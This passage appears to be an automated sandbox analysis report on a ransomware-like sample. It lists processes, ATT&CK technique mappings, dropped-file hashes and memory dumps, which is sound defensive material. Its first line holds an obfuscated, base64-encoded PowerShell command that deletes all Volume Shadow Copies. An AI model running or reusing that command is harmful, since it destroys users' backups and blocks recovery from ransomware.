powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2572

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2632

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1716

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Recovery\07e255630-readme.txt
Filesize
6KB

MD5
eff59c5dc729e81baa09733729388e39

SHA1
e1d20187e463f973e9426c829777d001b2888dae

SHA256
df27de97934b1e2df36026786dfd5ad42973da91fc8436b0850728fbfe2553eb

SHA512
53972a54fd4f4d64521c4bd6eeb37717112de6194e9a8bcf388cf628f5c1b5ab6fbe4c4a041d3982b0c388f15a6f6d1d8934877766ee59d23a5c5ddc4ac574e2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
3f134ee5bb2a0446b2d2322e8d59860d

SHA1
0fcfd543e4708a4ec7f7e747844e59a97ec9b0a8

SHA256
95375f8833035c9300d5f07aa3699c393ce8b7226f0b7c74abab6245941d1e5a

SHA512
7780921a086ecc3a4391f1c03f059aa3cb33225150d5aa4e367d985f12be23f0af427814dd50285a91216f8bdaa8838de4fddcc5465018f08d0d7336581354dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab13A2.tmp
Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar14CD.tmp
Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Windows\System32\catroot2\dberr.txt
Filesize
192KB

MD5
e29c46747fbab8ec4a7924ba26bf8831

SHA1
63a2d5bf6a48c2c0a0525ebe73d29768fbc2241b

SHA256
6f3f083eb9b8ff0f3df85952cd3e036f1b6cd82dba30483bf192c9ca16855a37

SHA512
0ab7eb731987594b9189af812fd4c2ccdb7e9e3a46b8494d7f664e6a4f7a2dcac358bd9454b605f11a02b7fc86025a46c79a6fd758d919cdbedd0304b43453ec

Download Submit
memory/2096-12-0x0000000000220000-0x0000000000226000-memory.dmp

Filesize
24KB

Download
memory/2096-0-0x00000000001E0000-0x00000000001EA000-memory.dmp

Filesize
40KB

Download
memory/2096-10-0x0000000002730000-0x0000000002839000-memory.dmp

Filesize
1.0MB

Download
memory/2096-8-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2096-6-0x0000000000200000-0x0000000000201000-memory.dmp

Filesize
4KB

Download
memory/2096-5-0x0000000000F10000-0x000000000103D000-memory.dmp

Filesize
1.2MB

Download
memory/2096-11-0x0000000000220000-0x0000000000226000-memory.dmp

Filesize
24KB

Download
memory/2096-25-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/2096-1-0x00000000001E0000-0x00000000001EA000-memory.dmp

Filesize
40KB

Download
memory/2096-4-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/2096-3-0x0000000000680000-0x000000000071F000-memory.dmp

Filesize
636KB

Download
memory/2096-9-0x0000000000220000-0x0000000000226000-memory.dmp

Filesize
24KB

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memory/2096-2-0x0000000000D30000-0x0000000000DF9000-memory.dmp

Filesize
804KB

Download
memory/2096-7-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2572-21-0x000007FEF5C10000-0x000007FEF65AD000-memory.dmp

Filesize
9.6MB

Download
memory/2572-24-0x0000000001E90000-0x0000000001F10000-memory.dmp

Filesize
512KB

Download
memory/2572-26-0x000007FEF5C10000-0x000007FEF65AD000-memory.dmp

Filesize
9.6MB

Download
memory/2572-23-0x0000000001E90000-0x0000000001F10000-memory.dmp

Filesize
512KB

Download
memory/2572-22-0x0000000001E90000-0x0000000001F10000-memory.dmp

Filesize
512KB

Download
memory/2572-19-0x0000000001FB0000-0x0000000001FB8000-memory.dmp

Filesize
32KB

Download
memory/2572-20-0x000007FEF5C10000-0x000007FEF65AD000-memory.dmp

Filesize
9.6MB

Download
memory/2572-18-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download